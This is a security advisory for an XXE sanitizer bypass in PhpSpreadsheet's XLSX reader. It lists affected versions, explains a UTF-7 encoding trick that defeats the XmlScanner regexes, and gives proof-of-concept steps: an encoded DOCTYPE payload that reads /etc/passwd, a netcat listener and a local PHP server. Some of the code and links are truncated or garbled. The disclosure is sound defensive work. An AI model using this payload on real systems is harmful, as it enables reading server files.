GHSA-7cc9-j4mv-vcjp XXE in PHPSpreadsheet's XLSX reader

• Packagist phpoffice/phpspreadsheet: < 1.29.4 → fixed in 1.29.4 • Packagist phpoffice/phpspreadsheet: >= 2.0.0, < 2.1.3 → fixed in 2.1.3 • Packagist phpoffice/phpspreadsheet: >= 2.2.0, < 2.3.2 → fixed in 2.3.2 • Packagist phpoffice/phpspreadsheet: >= 3.3.0, < 3.4.0 → fixed in 3.4.0 • Packagist phpoffice/phpexcel: <= 1.8.2 (no fix yet)

Summary The XmlScanner class has a scan method which should prevent XXE attacks. However, we found another bypass than the previously reported `CVE-2024-47873`, the regexes from the findCharSet method, which is used for determining the current encoding can be bypassed by using a payload in the encoding UTF-7, and adding at end of the file a comment with the value `encoding="UTF-8"` with `"`, which is matched by the first regex, so that `encoding='UTF-7'` with single quotes `'` in the XML header is not matched by the second regex: ``` $patterns = [ '/encoding\\s*=\\s*"([^"]*]?)"/', "/encoding\\s*=\\s*'([^']*?)'/", ]; ``` A payload for the `workbook.xml` file can for example be created with CyberChef')&input=Pz4KPCFET0NUWVBFIGZvbyBbCiAgPCFFTEVNRU5UIGZvbyBBTlkgPgogIDwhRU5USVRZIHh4ZSBTWVNURU0gImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgPl0%2BCjxmb28%2BJnh4ZTs8L2Zvbz4K). If you open an Excel file containing the payload from the link above stored in the `workbook.xml` file with PhpSpreadsheet, you will receive an HTTP request on `127.0.0.1:12345`. You can test that an HTTP request is created by running the `nc -nlvp 12345` command before opening the file containing the payload with PhpSpreadsheet. To create the payload you need: 1. Create a file containing `setReadDataOnly(true); $worksheetData = $reader->listWorksheetInfo($inputFileName); foreach ($worksheetData as $worksheet) { $sheetName = $worksheet['worksheetName']; echo "$sheetName"; / Load $inputFileName to a Spreadsheet Object / $reader->setLoadSheetsOnly($sheetName); $spreadsheet = $reader->load($inputFileName); $worksheet = $spreadsheet->getActiveSheet(); print_r($worksheet->toArray()); } ``` • Run the following command: `php -S 127.0.0.1:8080` • Add the payload.xlsx file in the folder and open in a browser. You will see an HTTP request on netcat . Impact An attacker can bypass the sanitizer and achieve an XXE attack_Processing).